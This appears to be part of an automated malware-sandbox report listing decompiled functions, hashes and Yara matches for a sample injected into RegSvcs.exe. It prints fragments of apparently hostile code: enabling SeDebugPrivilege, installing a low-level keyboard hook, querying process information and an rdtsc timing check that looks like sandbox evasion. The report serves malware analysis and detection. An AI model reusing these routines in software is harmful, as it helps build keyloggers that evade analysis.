Source File: 00000000.00000002.687535198.0000000007A90000.00000040.00000001.sdmp, Offset: 07A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7226a44a28326de469818b7cd9836516d230db3eb01726bdaafc9d8abd0d13ae
Instruction ID: 995b95e2cec693587da805806766a17986935e8224e089dde88f956c8cf1aaf6
Opcode Fuzzy Hash: 7226a44a28326de469818b7cd9836516d230db3eb01726bdaafc9d8abd0d13ae
Instruction Fuzzy Hash: 6F0161B2B2D4534BD71447288C5036BBFB6E7C3281F09497BC456CB265D634E922C742

Uniqueness

Uniqueness Score: -1.00%

Function 07A90D50, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687535198.0000000007A90000.00000040.00000001.sdmp, Offset: 07A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ba1c550bc25467edb73459e591d3987bf2a07516940a7eb1ec2966fee0a826c
Instruction ID: 9ede9cd76edd513eeaaa2b2b9b7b15ee179852f23b33ff966b38c5b53b0257d9
Opcode Fuzzy Hash: 2ba1c550bc25467edb73459e591d3987bf2a07516940a7eb1ec2966fee0a826c
Instruction Fuzzy Hash: 680149B232601357CA2806199C447BB77EBE3C1391F154A37E52ACA350CA38EE218195

Uniqueness

Uniqueness Score: -1.00%

Function 07A90D60, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687535198.0000000007A90000.00000040.00000001.sdmp, Offset: 07A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a5c8e414f1c71c44be6c9d87626709cfc92f59784ec1c4a238f3603282fc38
Instruction ID: 73ee76fb78471c24d56254a8e72e7b14e610ec275650e9fd4810de27888b8f9a
Opcode Fuzzy Hash: 33a5c8e414f1c71c44be6c9d87626709cfc92f59784ec1c4a238f3603282fc38
Instruction Fuzzy Hash: 8CF0ACB132600383CE280619984077B7AEBF3C2390F154937E11ACB314CE34ED228291

Uniqueness

Uniqueness Score: -1.00%

Function 07A905E9, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687535198.0000000007A90000.00000040.00000001.sdmp, Offset: 07A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c7b298fcb0fcd5e7477381352d64eb2555678ba506a08e08cee551c28667f6
Instruction ID: fb02ae20ff53f7863c93a8f2cd86cf748fe926ec86d024bf99eb8ac73aa685d2
Opcode Fuzzy Hash: 76c7b298fcb0fcd5e7477381352d64eb2555678ba506a08e08cee551c28667f6
Instruction Fuzzy Hash: 34E0B6F0D4020AAFDF40EFA989057AFBEF4AB04640F104966D125E2241E7B856519F9A

Uniqueness

Uniqueness Score: -1.00%

Function 07A905F8, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.687535198.0000000007A90000.00000040.00000001.sdmp, Offset: 07A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbc754acd92bca2622ee7abfb30802bd96abe9362983e0ad0fc0b4f24f05ec6b
Instruction ID: 56ff79e6dd352d7cd510ddb6d49d515eb546555fb7a6d571d5550a935b50ec04
Opcode Fuzzy Hash: cbc754acd92bca2622ee7abfb30802bd96abe9362983e0ad0fc0b4f24f05ec6b
Instruction Fuzzy Hash: 91D042F0D4420AEEDF90EFA9850579FBAF4AB04640F10497AC125E6241E7B856148F96

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008AE5F0, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de3d7b509329ebcbf1d3bd0e739c08037ec654a92c694fff650a0bda97e2689
Instruction ID: 220e632cdb6109e0096c5c577646c2ab49d7dedef000b06e4e50a6f1100ae62e
Opcode Fuzzy Hash: 9de3d7b509329ebcbf1d3bd0e739c08037ec654a92c694fff650a0bda97e2689
Instruction Fuzzy Hash: 8912A4F1411F46CBE712CF65ED9C3AD3BA1B745328B91430AD2611AAF4DBB8114AEF48

Uniqueness

Uniqueness Score: -1.00%

Function 008AC66C, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ac5e2c7e881426d1bf0b111e448787c81a4d5db5a8f3e9c7beb53f4378cf2d
Instruction ID: 4bd0effe2dd5175961f338f08094f44b3ad1a8607b6482823b92c1ea8e5a5962
Opcode Fuzzy Hash: a2ac5e2c7e881426d1bf0b111e448787c81a4d5db5a8f3e9c7beb53f4378cf2d
Instruction Fuzzy Hash: CFA16D36E002198FDF15DFA9D9445DEB7F2FF89300B15816AE806EB621EB71A945CF40

Uniqueness

Uniqueness Score: -1.00%

Function 008AE5E9, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d3e86f06048a6c3a38b8ce0f8b5ea380eaa68af1b326f8d430978dc7dea0f74
Instruction ID: 5c33feeb25e3b02c0f793ba549dee1eebd19af1ce83bc349f1743ea3553f772a
Opcode Fuzzy Hash: 8d3e86f06048a6c3a38b8ce0f8b5ea380eaa68af1b326f8d430978dc7dea0f74
Instruction Fuzzy Hash: B7C118B1811B46CBE712CF65EC8C3AD7BA1BB85328F51430AD2612B6F4DBB4154ADF48

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exe PID: 3240 Parent PID: 5068 RegSvcs.exeCOMMON

Executed Functions

Function 004BA019, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004BA019(void* __ebx, void* __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v52;
				signed int _v56;
				signed int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				long _t91;
				signed int* _t94;
				signed int _t97;
				signed int _t100;
				signed int _t104;
				void* _t111;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				signed int _t122;
				signed int _t123;
				signed int* _t126;
				signed int _t127;
				void* _t130;
				void* _t132;
				signed int _t133;
				signed int _t135;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t148;
				signed int _t149;
				signed int _t152;
				signed int _t156;
				signed int _t159;
				intOrPtr* _t164;
				signed int _t165;
				intOrPtr* _t166;
				void* _t167;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				void* _t174;
				signed int _t176;
				intOrPtr* _t177;
				signed int _t181;
				signed int _t182;
				void* _t189;
				signed int _t190;
				void* _t191;
				signed int _t192;

				_t176 = __esi;
				_t169 = __edi;
				_t65 = E004B99E4();
				_v8 = _v8 & 0x00000000;
				_t135 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t135;
				if(E004B9A42( &_v8) != 0 || E004B99EA( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004A5EA4(0);
					asm("int3");
					_t189 = _t191;
					_t192 = _t191 - 0x10;
					_push(_t135);
					_t177 = E004B99E4();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E004B9A42( &_v52);
					_t141 = _t176;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E004A5EA4(_t72);
						asm("int3");
						_push(_t189);
						_t190 = _t192;
						_t74 =  *0x4eb018; // 0x6027d6a0
						_v100 = _t74 ^ _t190;
						 *0x4eb464 =  *0x4eb464 | 0xffffffff;
						 *0x4eb458 =  *0x4eb458 | 0xffffffff;
						_push(0);
						_push(_t177);
						_push(_t169);
						_t137 = "TZ";
						_t170 = 0;
						 *0x4eea10 = 0;
						_t78 = E004AC555(__eflags,  &_v360,  &_v356, 0x100, "TZ");
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t182 = E004B3009(_t141, _v276);
								__eflags = _t182;
								if(__eflags != 0) {
									_t85 = E004AC555(__eflags,  &_v280, _t182, _v276, _t137);
									__eflags = _t85;
									if(_t85 == 0) {
										E004B2FCF(0);
										_t170 = _t182;
									} else {
										_push(_t182);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E004B2FCF();
								}
							}
						} else {
							_t170 =  &_v272;
						}
						asm("sbb esi, esi");
						_t181 =  ~(_t170 -  &_v272) & _t170;
						__eflags = _t170;
						if(_t170 == 0) {
							L80:
							L47(); // executed
						} else {
							__eflags =  *_t170;
							if( *_t170 == 0) {
								goto L80;
							} else {
								_push(_t170);
								E004BA019(_t137, _t170, _t181);
							}
						}
						E004B2FCF(_t181);
						__eflags = _v16 ^ _t190;
						return E0049CE1D(_v16 ^ _t190);
					} else {
						_t72 = E004B99EA( &_v16);
						_pop(_t141);
						__eflags = _t72;
						if(_t72 != 0) {
							goto L66;
						} else {
							_t72 = E004B9A16( &_v20);
							_pop(_t141);
							__eflags = _t72;
							if(_t72 != 0) {
								goto L66;
							} else {
								E004B2FCF( *0x4eea08);
								 *0x4eea08 = 0;
								 *_t192 = 0x4eea18; // executed
								_t91 = GetTimeZoneInformation(??); // executed
								__eflags = _t91 - 0xffffffff;
								if(_t91 != 0xffffffff) {
									_t148 =  *0x4eea18 * 0x3c;
									_t165 =  *0x4eea6c; // 0x0
									_push(_t169);
									 *0x4eea10 = 1;
									_v12 = _t148;
									__eflags =  *0x4eea5e; // 0xa
									if(__eflags != 0) {
										_t149 = _t148 + _t165 * 0x3c;
										__eflags = _t149;
										_v12 = _t149;
									}
									__eflags =  *0x4eeab2; // 0x3
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t104 =  *0x4eeac0; // 0xffffffc4
										__eflags = _t104;
										if(_t104 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t104 - _t165) * 0x3c;
										}
									}
									_t174 = E004AE4AF();
									_t97 =  *0x4f003c(_t174, 0, "W. Europe Standard Time", 0xffffffff,  *_t177, 0x3f, 0,  &_v24);
									__eflags = _t97;
									if(_t97 == 0) {
										L60:
										 *((char*)( *_t177)) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											 *((char*)( *_t177 + 0x3f)) = 0;
										}
									}
									_t100 =  *0x4f003c(_t174, 0, "W. Europe Daylight Time", 0xffffffff,  *((intOrPtr*)(_t177 + 4)), 0x3f, 0,  &_v24);
									__eflags = _t100;
									if(_t100 == 0) {
										L64:
										 *((char*)( *((intOrPtr*)(_t177 + 4)))) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											 *((char*)( *((intOrPtr*)(_t177 + 4)) + 0x3f)) = 0;
										}
									}
								}
								 *(E004B99DE()) = _v12;
								 *((intOrPtr*)(E004B99D2())) = _v16;
								_t94 = E004B99D8();
								 *_t94 = _v20;
								return _t94;
							}
						}
					}
				} else {
					_t166 =  *0x4eea08; // 0x0
					_t176 = _a4;
					if(_t166 == 0) {
						L12:
						E004B2FCF(_t166);
						_t152 = _t176;
						_t12 = _t152 + 1; // 0x4ba40a
						_t167 = _t12;
						do {
							_t111 =  *_t152;
							_t152 = _t152 + 1;
						} while (_t111 != 0);
						_t13 = _t152 - _t167 + 1; // 0x4ba40b
						 *0x4eea08 = E004B3009(_t152 - _t167, _t13);
						_t114 = E004B2FCF(0);
						_t168 =  *0x4eea08; // 0x0
						if(_t168 == 0) {
							goto L45;
						} else {
							_t156 = _t176;
							_push(_t169);
							_t14 = _t156 + 1; // 0x4ba40a
							_t169 = _t14;
							do {
								_t115 =  *_t156;
								_t156 = _t156 + 1;
							} while (_t115 != 0);
							_t15 = _t156 - _t169 + 1; // 0x4ba40b
							_t117 = E004AD3A2(_t168, _t15, _t176);
							_t191 = _t191 + 0xc;
							if(_t117 == 0) {
								_t169 = 3;
								_push(_t169);
								_t118 = E004C18F1(_t157,  *_t135, 0x40, _t176);
								_t191 = _t191 + 0x10;
								if(_t118 == 0) {
									while( *_t176 != 0) {
										_t176 = _t176 + 1;
										_t169 = _t169 - 1;
										if(_t169 != 0) {
											continue;
										}
										break;
									}
									_pop(_t169);
									_t135 = _t135 & 0xffffff00 |  *_t176 == 0x0000002d;
									if(_t135 != 0) {
										_t176 = _t176 + 1;
									}
									_t159 = E004AC2E8(_t157, _t176) * 0xe10;
									_v8 = _t159;
									while(1) {
										_t120 =  *_t176;
										if(_t120 != 0x2b && (_t120 < 0x30 || _t120 > 0x39)) {
											break;
										}
										_t176 = _t176 + 1;
									}
									__eflags =  *_t176 - 0x3a;
									if( *_t176 == 0x3a) {
										_t176 = _t176 + 1;
										_t159 = _v8 + E004AC2E8(_t159, _t176) * 0x3c;
										_v8 = _t159;
										while(1) {
											_t130 =  *_t176;
											__eflags = _t130 - 0x30;
											if(_t130 < 0x30) {
												break;
											}
											__eflags = _t130 - 0x39;
											if(_t130 <= 0x39) {
												_t176 = _t176 + 1;
												__eflags = _t176;
												continue;
											}
											break;
										}
										__eflags =  *_t176 - 0x3a;
										if( *_t176 == 0x3a) {
											_t176 = _t176 + 1;
											_t159 = _v8 + E004AC2E8(_t159, _t176);
											_v8 = _t159;
											while(1) {
												_t132 =  *_t176;
												__eflags = _t132 - 0x30;
												if(_t132 < 0x30) {
													goto L38;
												}
												__eflags = _t132 - 0x39;
												if(_t132 <= 0x39) {
													_t176 = _t176 + 1;
													__eflags = _t176;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t135;
									if(_t135 != 0) {
										_v8 = _t159;
									}
									__eflags =  *_t176;
									_t122 = 0 |  *_t176 != 0x00000000;
									_v16 = _t122;
									__eflags = _t122;
									_t123 = _v12;
									if(_t122 == 0) {
										_t29 = _t123 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E004B99DE()) = _v8;
										_t126 = E004B99D2();
										 *_t126 = _v16;
										return _t126;
									}
									_push(3);
									_t28 = _t123 + 4; // 0xfffffddd
									_t127 = E004C18F1(_t159,  *_t28, 0x40, _t176);
									_t191 = _t191 + 0x10;
									__eflags = _t127;
									if(_t127 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t164 = _t166;
						_t133 = _t176;
						while(1) {
							_t138 =  *_t133;
							if(_t138 !=  *_t164) {
								break;
							}
							if(_t138 == 0) {
								L8:
								_t114 = 0;
							} else {
								_t9 = _t133 + 1; // 0xdde805eb
								_t139 =  *_t9;
								if(_t139 !=  *((intOrPtr*)(_t164 + 1))) {
									break;
								} else {
									_t133 = _t133 + 2;
									_t164 = _t164 + 2;
									if(_t139 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t114 == 0) {
								L45:
								return _t114;
							} else {
								_t135 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t114 = _t133 | 0x00000001;
						__eflags = _t114;
						goto L10;
					}
				}
				L82:
			}

0x004ba019
0x004ba019
0x004ba023
0x004ba028
0x004ba02c
0x004ba02e
0x004ba036
0x004ba041
0x004ba1e1
0x004ba1e3
0x004ba1e4
0x004ba1e5
0x004ba1e6
0x004ba1e7
0x004ba1e8
0x004ba1ed
0x004ba1f1
0x004ba1f3
0x004ba1f6
0x004ba1fd
0x004ba204
0x004ba208
0x004ba20b
0x004ba20e
0x004ba213
0x004ba214
0x004ba216
0x004ba33e
0x004ba33e
0x004ba33f
0x004ba340
0x004ba341
0x004ba342
0x004ba343
0x004ba348
0x004ba34b
0x004ba34c
0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba372
0x004ba373
0x004ba374
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba398
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fa
0x004ba3fc
0x004ba40c
0x004ba40c
0x004ba3fe
0x004ba3fe
0x004ba401
0x00000000
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba401
0x004ba412
0x004ba41d
0x004ba428
0x004ba21c
0x004ba220
0x004ba225
0x004ba226
0x004ba228
0x00000000
0x004ba22e
0x004ba232
0x004ba237
0x004ba238
0x004ba23a
0x00000000
0x004ba240
0x004ba246
0x004ba24b
0x004ba251
0x004ba258
0x004ba25e
0x004ba261
0x004ba267
0x004ba26e
0x004ba274
0x004ba278
0x004ba27e
0x004ba281
0x004ba288
0x004ba28d
0x004ba28d
0x004ba28f
0x004ba28f
0x004ba292
0x004ba299
0x004ba2b1
0x004ba2b1
0x004ba2b4
0x004ba29b
0x004ba29b
0x004ba2a0
0x004ba2a2
0x00000000
0x004ba2a4
0x004ba2a6
0x004ba2ac
0x004ba2ac
0x004ba2a2
0x004ba2bc
0x004ba2d0
0x004ba2d6
0x004ba2d8
0x004ba2e6
0x004ba2e8
0x004ba2da
0x004ba2da
0x004ba2dd
0x00000000
0x004ba2df
0x004ba2e1
0x004ba2e1
0x004ba2dd
0x004ba2fd
0x004ba304
0x004ba306
0x004ba315
0x004ba318
0x004ba308
0x004ba308
0x004ba30b
0x00000000
0x004ba30d
0x004ba310
0x004ba310
0x004ba30b
0x004ba306
0x004ba322
0x004ba32c
0x004ba331
0x004ba336
0x004ba33d
0x004ba33d
0x004ba23a
0x004ba228
0x004ba059
0x004ba059
0x004ba05f
0x004ba064
0x004ba09a
0x004ba09b
0x004ba0a1
0x004ba0a3
0x004ba0a3
0x004ba0a6
0x004ba0a6
0x004ba0a8
0x004ba0a9
0x004ba0af
0x004ba0ba
0x004ba0bf
0x004ba0c4
0x004ba0ce
0x00000000
0x004ba0d4
0x004ba0d4
0x004ba0d6
0x004ba0d7
0x004ba0d7
0x004ba0da
0x004ba0da
0x004ba0dc
0x004ba0dd
0x004ba0e4
0x004ba0e9
0x004ba0ee
0x004ba0f3
0x004ba0fb
0x004ba0fc
0x004ba102
0x004ba107
0x004ba10c
0x004ba112
0x004ba117
0x004ba118
0x004ba11b
0x00000000
0x00000000
0x00000000
0x004ba11b
0x004ba120
0x004ba121
0x004ba126
0x004ba128
0x004ba128
0x004ba130
0x004ba136
0x004ba139
0x004ba139
0x004ba13d
0x00000000
0x00000000
0x004ba147
0x004ba147
0x004ba14a
0x004ba14d
0x004ba14f
0x004ba15d
0x004ba15f
0x004ba169
0x004ba169
0x004ba16b
0x004ba16d
0x00000000
0x00000000
0x004ba164
0x004ba166
0x004ba168
0x004ba168
0x00000000
0x004ba168
0x00000000
0x004ba166
0x004ba16f
0x004ba172
0x004ba174
0x004ba17f
0x004ba181
0x004ba18b
0x004ba18b
0x004ba18d
0x004ba18f
0x00000000
0x00000000
0x004ba186
0x004ba188
0x004ba18a
0x004ba18a
0x00000000
0x004ba18a
0x00000000
0x004ba188
0x004ba18b
0x004ba172
0x004ba191
0x004ba191
0x004ba193
0x004ba197
0x004ba197
0x004ba19c
0x004ba19e
0x004ba1a1
0x004ba1a4
0x004ba1a6
0x004ba1a9
0x004ba1c1
0x004ba1c4
0x004ba1c7
0x004ba1cf
0x004ba1d4
0x004ba1d9
0x00000000
0x004ba1d9
0x004ba1ab
0x004ba1b0
0x004ba1b3
0x004ba1b8
0x004ba1bb
0x004ba1bd
0x00000000
0x00000000
0x004ba1bf
0x004ba10c
0x00000000
0x004ba0f3
0x004ba066
0x004ba066
0x004ba068
0x004ba06a
0x004ba06a
0x004ba06e
0x00000000
0x00000000
0x004ba072
0x004ba086
0x004ba086
0x004ba074
0x004ba074
0x004ba074
0x004ba07a
0x00000000
0x004ba07c
0x004ba07c
0x004ba07f
0x004ba084
0x00000000
0x00000000
0x00000000
0x00000000
0x004ba084
0x004ba07a
0x004ba08f
0x004ba091
0x004ba1e0
0x004ba1e0
0x004ba097
0x004ba097
0x00000000
0x004ba097
0x00000000
0x004ba091
0x004ba08a
0x004ba08c
0x004ba08c
0x00000000
0x004ba08c
0x004ba064
0x00000000

APIs

_free.LIBCMT ref: 004BA09B
_free.LIBCMT ref: 004BA0BF
_free.LIBCMT ref: 004BA246
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA412

Strings

W. Europe Daylight Time, xrefs: 004BA2F6
W. Europe Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 597776487-986674615
Opcode ID: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction ID: c7439f9608b8c8f052815cb7c37f01633d4ad8815d3d8a48d05f79c4e51f4a0d
Opcode Fuzzy Hash: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction Fuzzy Hash: EDC12871904244ABDB249F7E8C81AEB7BB8EF41314F1445AFE4809B352E7388E51C77A

Uniqueness

Uniqueness Score: -1.00%

Function 00447818, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00447818(void* __ebx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				struct _TOKEN_PRIVILEGES _v24;
				signed int _v28;
				intOrPtr _v32;
				struct _TOKEN_PRIVILEGES _v40;
				struct _LUID _v48;
				long _v52;
				void* _v56;
				signed int _t28;
				int _t34;
				void* _t57;
				long _t60;
				signed int _t63;

				_t65 = (_t63 & 0xfffffff8) - 0x34;
				_t28 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t28 ^ (_t63 & 0xfffffff8) - 0x00000034;
				_t60 = 0x10;
				_v52 = _t60;
				_t57 = __edx;
				if(OpenProcessToken(GetCurrentProcess(), 0x22,  &_v56) != 0) {
					_t34 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v48); // executed
					if(_t34 == 0) {
						L2:
						L3:
						return E0049CE1D(_v8 ^ _t65);
					}
					_v24.Privileges = _v48.LowPart;
					_v16 = _v48.HighPart;
					_v24.PrivilegeCount = 1;
					_v12 = 0;
					AdjustTokenPrivileges(_v56, 0,  &_v24, _t60,  &_v40,  &_v52); // executed
					_v40.Privileges = _v48.LowPart;
					_v40.PrivilegeCount = 1;
					_v32 = _v48.HighPart;
					if(_t57 == 0) {
						_v28 = _v28 & 0xfffffffd;
					} else {
						_v28 = _v28 | 0x00000002;
					}
					AdjustTokenPrivileges(_v56, 0,  &_v40, _v52, 0, 0); // executed
					if( *0x4f0018() != 0) {
						goto L2;
					}
					goto L3;
				}
				 *0x4f0018();
				goto L2;
			}

0x0044781e
0x00447821
0x00447828
0x00447831
0x00447836
0x0044783d
0x0044784e
0x00447877
0x0044787f
0x00447856
0x00447858
0x00447869
0x00447869
0x00447885
0x0044788d
0x0044789a
0x004478b4
0x004478b8
0x004478be
0x004478c6
0x004478ce
0x004478d4
0x004478dd
0x004478d6
0x004478d6
0x004478d6
0x004478f2
0x004478fc
0x00000000
0x00000000
0x00000000
0x00447902
0x00447850
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000022,?), ref: 0044783F
OpenProcessToken.ADVAPI32(00000000), ref: 00447846
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 00447877
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,?), ref: 004478B8
AdjustTokenPrivileges.KERNELBASE(?,00000000,000000FD,?,00000000,00000000), ref: 004478F2

Strings

SeDebugPrivilege, xrefs: 00447871

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Token$AdjustPrivilegesProcess$CurrentLookupOpenPrivilegeValue
String ID: SeDebugPrivilege
API String ID: 936316106-2896544425
Opcode ID: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction ID: 90dea48e7e83108975329189df0cb34afaa59d95de0f56ed7103f25d54040895
Opcode Fuzzy Hash: 85fb92490f0f8a15989a6b66606816f3162ba23b3d7adfa96b60684d9a0e7cd6
Instruction Fuzzy Hash: 3A214FB1518345AFD310DF24DC84E6BBBE8FB88754F000A2EF895C6251E774D905CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004382E8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(00000000), ref: 0043832D

Strings

NtQueryInformationProcess, xrefs: 004382FD
NTDLL.DLL, xrefs: 00438302

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationProcessQuery
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1778838933-2613899276
Opcode ID: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
Instruction ID: 4c2aab8579277b2b8d6d1ee676096609c7c8e0f886d3ae4e14bd530946186aab
Opcode Fuzzy Hash: dfd8b8bb9dec71ef832ee325f34343ce159435f71b5cfb3d5a7ae222f34f9b7a
Instruction Fuzzy Hash: 65F04431901318ABDF109BE59C45FEEB7B8AB08751F50016AF901E6290CF78995487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043656A, Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,0043527C,00000000), ref: 004365A0
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 004365C8

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackDispatcherHookUserWindows
String ID:
API String ID: 2140249451-0
Opcode ID: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction ID: b0d32cd98488177756b2ce22fbb7a86962624bb5ed66f4eacbafa718af698bc2
Opcode Fuzzy Hash: 5359bc77c6744d1b119d74be3b21fe046dd9245d5038d394d8a3aefeb46aa32a
Instruction Fuzzy Hash: D2012171900284BFDB10EFB6ECC9E9B7BBCEB4C700F00043AE106DA152D6789545CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00438418, Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00438418(signed int __eax) {
				signed int _t3;
				void* _t4;
				int _t5;
				void* _t7;
				void* _t10;

				_t3 = __eax;
				_t10 = 0;
				while(1) {
					asm("rdtsc");
					_t4 =  *0x4f0034();
					asm("rdtsc");
					_t18 = _t4; // executed
					_t5 = FindCloseChangeNotification(0); // executed
					asm("rdtsc");
					_t3 = (_t5 - _t4) / (_t18 - _t3);
					if(_t3 >= 0xa) {
						break;
					}
					_t10 = _t10 + 1;
					if(_t10 < 0xa) {
						continue;
					} else {
						_t7 = 1;
					}
					L5:
					return _t7;
				}
				_t7 = 0;
				goto L5;
			}

0x00438418
0x00438424
0x00438426
0x00438426
0x0043842a
0x00438430
0x00438434
0x00438436
0x0043843c
0x00438444
0x00438449
0x00000000
0x00000000
0x0043844b
0x0043844f
0x00000000
0x00438451
0x00438453
0x00438453
0x00438458
0x0043845e
0x0043845e
0x00438456
0x00000000

APIs

FindCloseChangeNotification.KERNEL32(00000000), ref: 00438436

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction ID: f5427a212dfdd87da89f9e0ba9ca1222acfb2865482f63687b35125f38c6985d
Opcode Fuzzy Hash: 9d410a4fcdc46e13a70cbc1fb8008168aaa8605b2d415dbfde2a2061b727874b
Instruction Fuzzy Hash: E5E02032F142341ECB1029757F4C7A77659D3C6175F141B36FD16D2481FC29451581ED

Uniqueness

Uniqueness Score: -1.00%

Function 0049C76F, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,?,0049C931,?,00000022,00000000,00000002,?,?,0049AC90,00000000,00000000,00000004,00499A05,00000000,00000004), ref: 0049C791

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8bdeb88323b82ef23c73d34e39c01d7ba77247a1ae46e5c06d95754e11bfc369
